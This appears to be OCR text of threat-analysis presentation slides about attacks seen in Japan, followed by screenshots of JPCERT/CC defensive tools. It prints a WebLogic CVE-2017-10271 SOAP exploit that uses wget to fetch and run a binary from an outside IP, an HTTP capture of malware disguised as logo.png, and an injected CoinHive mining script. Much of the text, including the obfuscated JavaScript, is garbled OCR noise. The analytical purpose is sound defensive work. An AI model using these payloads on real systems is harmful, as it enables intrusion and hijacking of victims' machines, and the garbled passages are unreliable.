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_/home/ubuntu/GoProject/src/bot/botlib. UDFile
_/home/ubuntu/GoProject/src/bot/bot!lib. Download
_/home/ubuntu/GoPro ject/src/bot/botlib. Send
_/home/ubuntu/GoProject/src/bot/bot!ib. Work
_/home/ubuntu/GoProject/src/bot/botlib. chunksM
_/home/ubuntu/GoProject/src/bot/botlib. Join
_/home/ubuntu/GoProject/src/bot/botlib. wel IMess
_/home/ubuntu/GoProject/src/bot/botlib. RandStringBytes
_/home/ubuntu/GoProject/src/bot/bot!ib. GetRandomBytes
_/home/ubuntu/GoProject/src/bot/botlib. Key
_/home/ubuntu/GoProject/src/bot/botlib. GenerateSymmKey
/hume/ubuntu/GnPrnject/srcfhut/bﬂtI|b GalculateMDSHash ‘
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GET /logo.png HTTF/1.1

User-Agent: Mozilla/4.0 (compatible; MS5IE 6.0)
Host: office.panasocin.com

Cache-Control: no-cache

HTTP/1.1 200 0K

Date: Wed, 21 Mar 2018 11:36:25 GMT
Server: httpd

Accept-Ranges: bytes

Content-Length: 26991

Keep-Alive: timeout=5, max=1060
Connection: Keep-Alive

Content-Type: application/x-msdownload
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CoinHive XD Y7 ~0OEMHAJ

<gcript src="https://coinhive.com/lib/coinhive. min.js"></script>

<script>
var miner = new CoinHive.Anonymous ('MJmNCofd4lorSye8plEeS1SaBCEfPESnHI ") ;
miner.start();

</acript>
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CoinHive X0V 7 DA (MR{L)

<acript type='text/javascript's»

var Oxb70e=["(k({11){\"38 cw\";j J=k(3a, I){d.-I=I||{};d.e¥=3a;d 6F=A;d.1j=[];d.4P=0;d._2I=RA;d_&W=R;d 47=3;d_8Z=h;d. 45=0;d.75=0;
d.6R=D.45(0,D.2T(.99,. d.1.4m| 10} ) ;d.bv=T;d.6P=T;d.Tp=T;d.1ld={2G: | |d.I.gQ,. in:A,. 40:A, 6A:g0, 20:{}};:
d.la={15:D.Bm{)*gC|0,2P:L.6D,7J:0,46:0,78B:0,1n-A)};if (11 _bN) {23({d.E5=F bN (\"o\");d.E65_ Ea=k (N} {if (N.1ll===\"b"\ ")

{d.1a. 7B=1c W{)}}-laid) }1Q{e) {}}ifi(L_Zz_30) {d._44=F L.g7({d.&Y, {B0:d_I BO| | g5\ ", gi:d_ I_£Y| |IN\"E£Z\"}) }d.7To={38-[], BS=[], BD=[],1==[],13":
[].cB:0), %4:(),.7H:[)}:;7 bP=bl.g2|14:;4.70=d.1.23%|1bP;d.bS=d.bH{)&!d.Il.go;d. 4=\ "bi\";d.8c=d.cd.loild) ;d.bA=d.cC.1loid) }; J.E.2¥=k (2P, bO)
{d.-1a_2P=2P| |L_ED;d 4N=b;if(d._la_.1n) {4Z(d.1la_1n);d.la_lnwh)}d_ T7G({k(} {d-6J()}-1o(d)) };T.-E.1Mek (ZP) {F{j iw0;i<d_1j.xr;iéé) {d.T7E+md_15[i] -4L;
d.130(1] 1M} }d.13=[] ;d. =T ;if(d.2g){d.2g.8D({) jd. 2Il=A;if{d.ld.1n) {4Zi{d.1ld.1n);d. 1d. In=A}if(d.la.ln&&iP!==\"BI ") {4Z(d.1la.1ln) ;d.1la.1lm=h}};
J.EbE=kil{j lp=0:;F{] i=0;i<d_1j.c;itH) {1pi=d.1j0i].1p})l 1p}:;J.E.gm=k(bM} {j V=lc . Vil;j lg=d.T75:;P(]j i=0;i<d.lj.c;it++){] Z2t=d_1j[il:

lgem2e 4T;5if(bM){j bl= (V=2 _82) f1A*_S;1q+=bL*2t_1p}}l 1q|0};J-E_ hS=k() {1l 4.4P};J.E_hU=k{) {1l 4. 8Z};J E_&veski{z 1f){if(d.Tb[z])

Y B\ BT W kBN TCOW T2 EEY wED kB xTE\ BB X4 &YW k75 EE X EA Y\ T\ 268 R EF EE  x T X T2 BB\ 2 T3 REE\ T2\ xTE Y xEEY B4\ T\ xEL \ xBC x BN x T\ xT Dy xEF
NETTVRTCYREL W e W RES A\ BT W REEWHEI W T4 W RES Y HEF W REE W KT RTO R 6 e\ HEE W EES VR T I\ HEG W RES HES\ B TC W BET W HES\ BTA WA LW HTS\ BT\ REE XSS\ MES T Z
AWESAEE L\ E4\ T xS xEEA X EL v e O XA XA T xS T X L\ x T I v DA 54 T A\ T DA G5 T3\ x T Ol DA B 1 A x T 4 v G 8\ xS A X T 3 x T LA x T2 x T A x TC\ xTCA x5 F
NaEE B W REI\xTEWEEL W 5P G4\ xEE R ED\ Bl W xEE W xET\ B xEE Y X TC\ 2T xEL\ T2\ mEE  xTC x4\ xE8 x4 T\ xd 5\ xEE Y\ k55 8T\ A4 F\ xEF\ xT1  x7E Y x4Rh\ x50 x3 8
NEIE RSB HAENET LRSS A B T IV HIO REEN RS S e S E I AN HET T L I A R TR T T HEL W RT3 HED\ B4 EEL YW e\ REC RESWHTC\ BES BS54 46 31 I 6
add W xe5 e\ xEF x4 e X T2 T T\ xR A X T 2 BT A G T A X e x EC G X G L\ B \ x T Ch 3 L x 36\ O x G5 xTC A X T 3 €0 x T A x B4 v 8 x T2 v e x T4\ x T4\ x6C
NEE T T TIN BB R EEY B x 8 xEF T 0N T2\ EF wEE\ x T4 xTO\ BB X EEN K ER R EE xEF T T\ REE X TC x5\ REE X TE Y B\ x T2\ HEF xBE\ x EDN xEE\ xEE\ X T4
AT RS T HEE\ ES RTINS T T T BT I RES TS L L R TSN T e NS\ e\ BT IV RES\ HEL W e T I\ S REEVREL W REZ W REC HES \ EEA Y ETCA HES W HEE W B3
W TEAXEDARES A xEE\ x T4 xTCA\ x T3\ e B x B\ B\ X BT A x T O A X T 2 B B R A T e A T A T 2 T T G5\ T \ xS GO\ x T2 X e x T4\ x T4\ x e x 65 xTCHhx 75
W T xEE™ "% "WaEE\ T2\ e el xd 3 xERY BN 2T I\ a4 AN e EF Y x4\ xEBE™ , "\ xTI W uEE\ xTO\ B b1 63 xBE™ , "\ xECx 7T\ x2B™, "\ x5C\x62™ ™
HRET'];EUll[!un:tiﬂnd_ﬂxﬁﬂidll,_FHEEEHHE,_Uliﬂﬁd:ﬂ__ﬂlﬁﬂﬁdﬂi,_ﬂHEEEﬂI&,_ﬂIEHEﬂIE]{_HIEEEHHEI funccion( DxES6HdRI) {recurn i_ﬂliﬂﬁd:ﬂt
_Oxc0edxd? OxbT0eld] :_ OxcB6dxs (parselnt (_ Ox606dxld/ Ox6Bedxd)))+ [([_Oxc06dx3= Ox6S86d=3% Ox686dx2)> 2575tring( O0xbT0ae([5]] {_ Ox606dx3+
29} : Ox686dx3 . toString(36) ) };1if({!_Oxb70&[4] [_0xb70&[&]] {/~/, 8tring) ) {while | Ox&éB6dx3--) {_ Ox6B&dxé[_ Ox&686dxb ( OxeB&dxd) ]=
_Ox606dxd [ Ox686dx3] || Ox636des( Ox6B6dx3) |; Ox6fedrd= [funcrion| Ox686dx5) {recurn O(x&56dx6[ Ox6BEdAxRS5]}]; Ox6E6dreS= funcrioni) {return
_Oxb70e[7]}; Ox6l6dx3= 1};while| 0x6O6dxd——) {if( Owbdcdxd [ Ox686dxd]) { OmxeBedxl= Oxe0edxl[ Oxb70al(6]]( new RegZxp( OxbT0a(2]1+
_Ox&8edxb (_Ox686dx3)+ Oxb70e[8], Oxb70&[3]), Ox&B&dxd [ Ox&86dx3]) |} return _OxeB&dxl}) {_ 0xb70«[0], &2, 1151, Oxb70&[3] [_0xb70e[2]]
{ OxbBT0e[l]h, 0. {}h);
</acript>
< I DOCTYPE html>

5. <html lang="3ja">
<haad>
<meta charset="UTIF=" />
<link rel="profile” href="htrp://gmpg.org/zfn/ 11" />
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Oracle WebLogic ServerDIETHE(CVE-2017-10271)EBA U B

<spapenv:Envelope xmins:soapenv="htip://schemas ¥xmlsoap org/soap/envelope/” =
<soapenv:Header= <work:WorkContext xmins:work="http://bea.com/2004/06/s0ap/workareal”>
<java version="1.6.0_151" class="java.beans XMLDecoder">
<void class="java.lang.ProcessBuilder'>
<array class="java.lang.5tring” length="3">
<void index = "0">
<string>cmd</string=
</void=
<void index = "1">
<string=/c</string>
</void>
<void index = "2">
<string>wget -P /tmp hitp[:]//132.148.150[.]15:86080/cloud&amp;&amp;cd /tmp/&amp;&amp;chmod 0755 cloud&amp;&amp;./cloud</string=
<fvoid=
</array=
<void method="start"/>
</void=
<[javaz
<fwork:WorkContext=
</spapenv:Header>
<gsoapenv:Body/>
</soapenv:Envelope=
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©1999-7018 Sagawa Express Co..LRd. 48 Rights Resened.
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aa-tools

El JPCERTCC [ aa-tools @© Watch 47 | #Star | 228 | YFork 46

<> Code (1) Issues 1 [l Pull requests 0 "l Projects 0 Insights

Artifact analysis tools by JPCERT/CC Analysis Center

D 38 commits ¥ 1 branch % 0 releases A% 10 contributors zfz View license
Branch: master = Mew pull request Find file
F endo-t Update README.md Latest commit 2cbac3c on 21 Sep 2018
B citadel_decryptor fix ValueError: need more than 5 values to unpack 2 years ago
B impfuzzy Moved impfuzzy repository to https://github.com/JPCERTCC/impfuzzy 11 months ago
=) .gitignore Add support for python3 3 years ago
=) LICENSE.txt Updated LICENSE.txt f months ago
=) README.md Update README.md 4 months ago
=) adwind_string_decoder.py Updated adwind_string_decoder 3 years ago
=) apt17scan.py Fixed a bug in function apt17scan, #1 thanks @jared703 3 years ago
=) cobaltstrikescan.py Add files via upload & months ago
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LogonTracer

@‘LogonTracer Username % @ administrator + - |Event ID: @ 4624 @ 4625 @ 4768 @ 4769 @ 4776 Count:| 0 search search path Export ~

All Users Rank User
4768

SYSTEM Privileges 4769 1 administrator
chikyo 192101 wi @ 02
4624 2 chiyoda.tokyo

NTLM Remote Logon

4769 :
3 machida.kanagawa
RDP Logon
4 yokohama.kanagawa
Network Logon 4776 e o T
4624 5 urayasu.chiba

Batch Logon

Service Logon

Back Next
MS14-068 Exploit Failure macmgawa adtﬂr yUkOhaagawz
Al
Logon Failure Node Details Rank Host
Add/Delete Users e adkrinistraion 1 192.168.16.101
Privilege: SYSTEM : .
Domain Check SID: S-1-5-21-1524084746- wabs 4708 b 2 WinTR4p.02
Audit Policy Change Status: - o
4 192.168.16.102
4769
Add event value 4768
Count | Type @ Status 4769 Back Next
ura@wiba 192103 192@102
AuthName S
4624
4624
Graph mode

grid | cose @ circle
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SysmonSearch

SysmonSearch make event log analysis more effective and less time consuming, by aggregating event logs generated by
Microsoft's Sysmon.

SysmonSearch
D Elasticsearch Kibana (Web app)
e\
Sysmon installed devices RestAPI Visualizes Function

query m DIUG

| Winlogbeat | winlogbeat | |° D
Search

send Sysmon’s event log results ‘ Statistical Function I -

— Analysis device

Alert data Monitor Function Analyzing logs

from web browsers

Information gxtraction from
STIX and loC format file

Statistical
data

StixloC server
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A lesson that should be learned from the cyber-attack in Korea

Deep Dive Into The Cyber Enemy : Various Case Study
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